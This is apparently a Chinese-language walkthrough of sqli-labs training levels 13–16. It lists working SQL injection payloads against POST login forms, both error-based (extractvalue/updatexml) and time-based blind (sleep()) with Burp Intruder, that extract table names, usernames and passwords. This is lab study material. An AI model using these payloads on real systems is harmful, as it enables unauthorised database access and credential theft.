当前位置: 首页 > article >正文

SQL-labs13-16闯关记录

http://127.0.0.1/sqli-labs/less-13/

基于POST单引号双注入变形

1,依然是一个登录框,POST型SQL注入

2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件

admin' 发生了报错,根据提示闭合方式是('')

admin') # 不发生报错,说明闭合方式正是('')

3,然后就是判断数据表的列数

admin') order by 2 #

admin') order by 3 #

说数据表不存在第三列,那么数据表就只有两列

4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名

1')and updatexml(1,concat(0x7e,(select database())),3)#

1')and extractvalue(1,concat(0x7e,(select database())),3)#

再爆出数据库下数据表名

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

然后再爆出用户名和密码

1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

这个时候就可以直接拿intruder模块进行爆破了

偏移量作为变量,字典选择0-9

爆破出password也是同样的操作

http://192.168.99.74/sqli-labs/less-14/

第十四关 基于POST双引号双注入变形

payload:

admin"

admin" order by 2#

admin" order by 3#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

http://192.168.99.74/sqli-labs/less-15/

第十五关 基于POST数值型注入

本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and

password='$passwd' LIMIT 0,1";

sql查询语句这里对 id 进行'id'的处理。

本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。

猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):

uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

字典选取1-9

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

由此根据排列payload1的顺序就能得到数据库名

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

得到第一个用户名Dumb,同理可得,由此爆破出密码

uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

http://192.168.99.74/sqli-labs/Less-16/

同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):

admin and if (1=1,sleep(5),0)

admin' and if (1=1,sleep(5),0)

admin') and if (1=1,sleep(5),0)

admin" and if (1=1,sleep(5),0)

admin")and if(1=1,sleep(5),0)

所以语句的闭合方式就是("admin"),区别于less-15

判断数据库名长度为8

uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit


http://www.kler.cn/a/576154.html

相关文章:

  • Docker Desktop常见问题记录
  • 微信小程序+SpringBoot的单词学习小程序平台(程序+论文+讲解+安装+修改+售后)
  • 【计算机网络】计算机网络的性能指标——时延、时延带宽积、往返时延、信道利用率
  • Java 面试篇-SSM 框架专题(什么是 AOP?Spring 中事务时如何实现的?事务失效的场景?Spring 中循环引用怎么解决?Springboot 的自动配置原理?Spring 常见注解?)
  • BFS(八)515. 在每个树行中找最大值 中等
  • OpenCV计算摄影学(14)实现对比度保留去色(Contrast Preserving Decolorization)的函数decolor()
  • SpringBoot知识点及其源码解析(1)
  • 发行基础:热销商品榜单
  • 图形界面控件编程(iOS)
  • 机器学习——回归树
  • linux-mysql
  • C语言【进阶篇】之结构体 —— 从基础声明到复杂应用的进阶之路
  • 论文阅读笔记:TopoFR: A Closer Look at Topology Alignment on Face Recognition
  • CVE-2025-0392:JeeWMS graphReportController.do接口SQL注入漏洞复现
  • 图像生成-ICCV2019-SinGAN: Learning a Generative Model from a Single Natural Image
  • 小米安全攻防工程师面试题解析
  • 第6章 定时器计数器
  • 代码随想录算法营Day59 | 寻找存在的路径, 冗余连接,冗余连接II
  • 用DeepSeek学Android开发:Android初学者遇到的常见问题有哪些?如何解决?
  • 分类学习(加入半监督学习)